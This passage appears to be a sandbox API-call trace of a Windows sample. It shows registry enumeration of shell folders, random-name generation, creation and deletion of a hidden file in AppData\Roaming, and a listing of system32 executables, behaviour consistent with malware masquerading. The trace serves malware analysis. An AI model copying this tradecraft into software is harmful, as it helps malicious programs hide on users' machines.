lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x17, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x18, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x19, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.684] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1a, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.684] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1b, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.684] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1c, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.684] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1d, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.684] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1e, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0025.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc240, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0025.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc240, cbMultiByte=7, lpWideCharStr=0xdde950, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde9d8 [0025.684] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x184) returned 0xc19d18 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12df0 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12e38 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12e80 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12ec8 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12f10 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12f58 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12fa0 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12fe8 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc13030 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc13078 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc130c0 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc13108 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc13150 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc13198 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc131e0 [0025.684] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc13228 [0025.685] RegQueryValueExW (in: hKey=0xf8, lpValueName="AppData", lpReserved=0x0, lpType=0x18f4b0, lpData=0x0, lpcbData=0x18f4c0*=0x0 | out: lpType=0x18f4b0*=0x1, lpData=0x0, lpcbData=0x18f4c0*=0x5c) returned 0x0 [0025.685] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12da8) returned 1 [0025.685] RegQueryValueExW (in: hKey=0xf8, lpValueName="AppData", lpReserved=0x0, lpType=0x18f4b0, lpData=0xdde950, lpcbData=0x18f4c0*=0x5c | out: lpType=0x18f4b0*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x18f4c0*=0x5c) returned 0x0 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde9d8) returned 1 [0025.685] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde9d8 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde9d8) returned 1 [0025.685] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x800) returned 0xc13958 [0025.685] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0xc13958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc13958) returned 1 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0025.685] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd278) returned 1 [0025.685] RegCloseKey (hKey=0xf8) returned 0x0 [0025.685] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.685] CryptAcquireContextW (in: phProv=0x18f544, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f544*=0x2c3c50) returned 1 [0025.687] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f558 | out: pbBuffer=0x18f558) returned 1 [0025.687] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.687] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.687] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.687] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.687] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.687] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.688] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.688] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.688] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.689] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.689] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.689] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.690] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.690] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.690] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.691] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.691] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.691] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.692] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.692] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.692] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.692] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.692] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.692] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.693] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.693] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.693] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.694] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.694] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.694] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.695] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.695] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.695] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.695] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.695] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.695] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.696] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.696] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.696] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.697] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.697] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.697] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.698] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.698] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.698] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.698] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.698] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.698] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.699] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.699] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.699] CryptAcquireContextW (in: phProv=0x18f540, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f540*=0x2c3c50) returned 1 [0025.700] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f554 | out: pbBuffer=0x18f554) returned 1 [0025.700] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.701] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Wkxi1Fgx6qAl" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1fgx6qal"), fInfoLevelId=0x0, lpFileInformation=0x18f50c | out: lpFileInformation=0x18f50c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x1198ae7, ftCreationTime.dwHighDateTime=0xdd0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x119a79c, ftLastWriteTime.dwLowDateTime=0x18f85c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f5a4)) returned 0 [0025.709] GetLastError () returned 0x2 [0025.709] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Wkxi1Fgx6qAl" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1fgx6qal"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xf8 [0025.712] SetFileTime (hFile=0xf8, lpCreationTime=0x0, lpLastAccessTime=0x18f550, lpLastWriteTime=0x18f550) returned 1 [0025.712] NtClose (Handle=0xf8) returned 0x0 [0025.713] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x800) returned 0xc13958 [0025.713] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Wkxi1Fgx6qAl", lpszShortPath=0xc13958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1") returned 0x2a [0025.713] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Wkxi1Fgx6qAl" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1fgx6qal"), fInfoLevelId=0x0, lpFileInformation=0x18f54c | out: lpFileInformation=0x18f54c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x26bddb90, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x26bddb90, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x26bddb90, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0025.713] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Wkxi1Fgx6qAl", dwFileAttributes=0x80) returned 1 [0025.713] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Wkxi1Fgx6qAl" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1fgx6qal")) returned 1 [0025.714] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc13958) returned 1 [0025.714] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.714] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xc12d60 [0025.714] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x100) returned 0xc12850 [0025.714] GetSystemDirectoryW (in: lpBuffer=0xc12850, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0025.714] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12850) returned 1 [0025.714] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.714] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.714] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde9d8 [0025.714] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x18f5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f5f0) returned 0x2b2958 [0025.714] CryptAcquireContextW (in: phProv=0x18f560, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f560*=0x2c3c50) returned 1 [0025.715] CryptGenRandom (in: hProv=0x2c3c50, dwLen=0x4, pbBuffer=0x18f574 | out: pbBuffer=0x18f574) returned 1 [0025.715] CryptReleaseContext (hProv=0x2c3c50, dwFlags=0x0) returned 1 [0025.715] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="at.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0025.718] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="bcdboot.exe", 